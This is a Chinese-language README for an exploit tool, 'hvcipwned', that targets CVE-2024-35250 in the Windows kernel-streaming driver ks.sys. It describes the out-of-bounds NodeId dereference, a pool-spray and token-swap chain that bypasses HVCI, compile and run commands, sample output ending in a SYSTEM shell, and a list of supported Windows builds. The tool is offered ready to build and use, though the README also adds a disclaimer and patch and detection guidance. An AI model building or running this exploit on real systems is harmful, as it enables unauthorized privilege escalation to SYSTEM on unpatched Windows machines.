通过 Windows 内核流驱动程序(ks.sys)中的不可信指针解引用实现本地权限提升。纯数据利用 — 绕过虚拟机监控程序保护的代码完整性(HVCI)。
| 字段 | 详情 |
|---|---|
| CVE | CVE-2024-35250 |
| 组件 | ks.sys(内核流) |
| 漏洞类型 | 不可信指针解引用 |
| 影响 | 权限提升至 NT AUTHORITY\SYSTEM |
| HVCI | 已绕过 — 内核中无代码执行 |
| 补丁 | KB5039212(2024年6月) |
| 受影响系统 | Windows 10 20H1+ / Windows 11 21H2-23H2 |
ks!KspPropertyHandler 通过 KspProcessPropertyNode 分发了拓扑级别的属性请求。来自用户提供的 KSP_NODE 结构中的 NodeId 字段被用作内部自动化表数组的索引,且没有进行边界验证:
NtDeviceIoControlFile
ks!CKSFilter::DispatchDeviceIoControl
ks!KspPropertyHandler
ks!KspProcessPropertyNode
*(automationTable + NodeId * stride) <-- attacker-controlled
精心构造的 NodeId 若超过实际节点数,会将解引用重定向到相邻的池内存,从而产生越界读/写原语。
该利用程序仅操控内核数据结构:
NtQuerySystemInformation 泄漏 EPROCESS 地址ActiveProcessLinks 以定位 PID 4(System)不会注入 shellcode。不会创建或执行未签名代码页。不会劫持控制流指针。
| 保护机制 | 状态 |
|---|---|
| HVCI / KMCI | 已绕过 |
| SMEP | 未触发 |
| SMAP | 未触发 |
| kCFG | 未触发 |
| CET / Shadow Stack | 未触发 |
hvcipwned.slnCtrl+Shift+B)输出二进制: x64\Release\hvcipwned.exe
cl.exe /nologo /W4 /O2 /TC ^
main.c device.c leak.c krw.c token.c exploit.c ^
/I ^
/Fe:exploit.exe ^
/link setupapi.lib kernel32.lib advapi32.lib
hvcipwned.exe
在易受攻击(未打补丁)的系统上,从未提权的用户会话运行。成功后会打开一个新的 cmd.exe 窗口,以 NT AUTHORITY\SYSTEM 身份运行。
[+] cve-2024-35250 exploit
[+] ks.sys untrusted pointer dereference -> eop
[~] hvci bypass via data-only attack
[+] os: 10.0.19045
[+] offsets: pid=0x440 links=0x448 token=0x4b8
[+] device: \\?\hdaudio#func_01&ven_10ec...
[+] device handle: 0x00000000000000f4
[~] calibrating r/w primitive...
[+] kernel base: 0xfffff80140000000
[~] spraying named pipes for pool layout...
[+] sprayed 5000 pipe pairs
[~] poking hole at index 2500...
[~] scanning for kernel pointer via oob read...
[+] found kernel ptr at node 3 offset 2: 0xffffa70500000000
[+] pipe object kernel addr: 0xffffa70500000000
[+] r/w primitive initialized (mode 1)
[+] current eprocess: 0xffffa705d90f4080
[+] kernel read pid: 1234 (expected: 1234)
[+] system eprocess: 0xffffa70500004080
[+] system token: 0xffffa70512345673
[+] token after swap: 0xffffa70512345670
[+] token swap successful
[+] escalation complete
[+] elevated shell spawned (pid: 5678)
press enter to exit...
hvcipwned/
├── hvcipwned.sln
├── hvcipwned.vcxproj
├── hvcipwned.vcxproj.filters
├── README.md
├── LICENSE
├── .gitignore
├── common.h - types, log macros, nt api typedefs
├── offsets.h - per-build eprocess field offsets
├── device.h - ks device enumeration
├── leak.h - kernel address leaks
├── krw.h - r/w primitive context
├── token.h - token swap + shell spawn
└── exploit.h - top-level entry
├── main.c - entry point
├── device.c - setupapi device open
├── leak.c - NtQuerySystemInformation leaks
├── krw.c - vulnerability trigger + pool spray + r/w
├── token.c - eprocess walk + token overwrite
└── exploit.c - orchestration
偏移量在运行时通过 RtlGetVersion 自动解析。
| 措施 |
|---|
本项目仅供授权安全研究和教育目的使用。未经明确书面许可,请勿针对任何系统使用。作者不对因使用本软件而造成的任何滥用或损害承担责任。
| 操作系统 | 构建版本 | 状态 |
|---|
| Windows 10 20H1 | 19041 | 支持 |
| Windows 10 20H2 | 19042 | 支持 |
| Windows 10 21H1 | 19043 | 支持 |
| Windows 10 21H2 | 19044 | 支持 |
| Windows 10 22H2 | 19045 | 支持 |
| Windows 11 21H2 | 22000 | 支持 |
| Windows 11 22H2 | 22621 | 支持 |
| Windows 11 23H2 | 22631 | 支持 |
| 详情 |
|---|
| 补丁 | 安装 KB5039212(2024年6月)或更高版本 |
| 检测 | 使用 KSPROPERTY_TYPE_TOPOLOGY 标志监控 IOCTL_KS_PROPERTY |
| EDR | 通过 EtwTi 内核回调警报令牌完整性变更 |
| 加固 | 通过 DACL 限制用户对 KS 设备接口的访问 |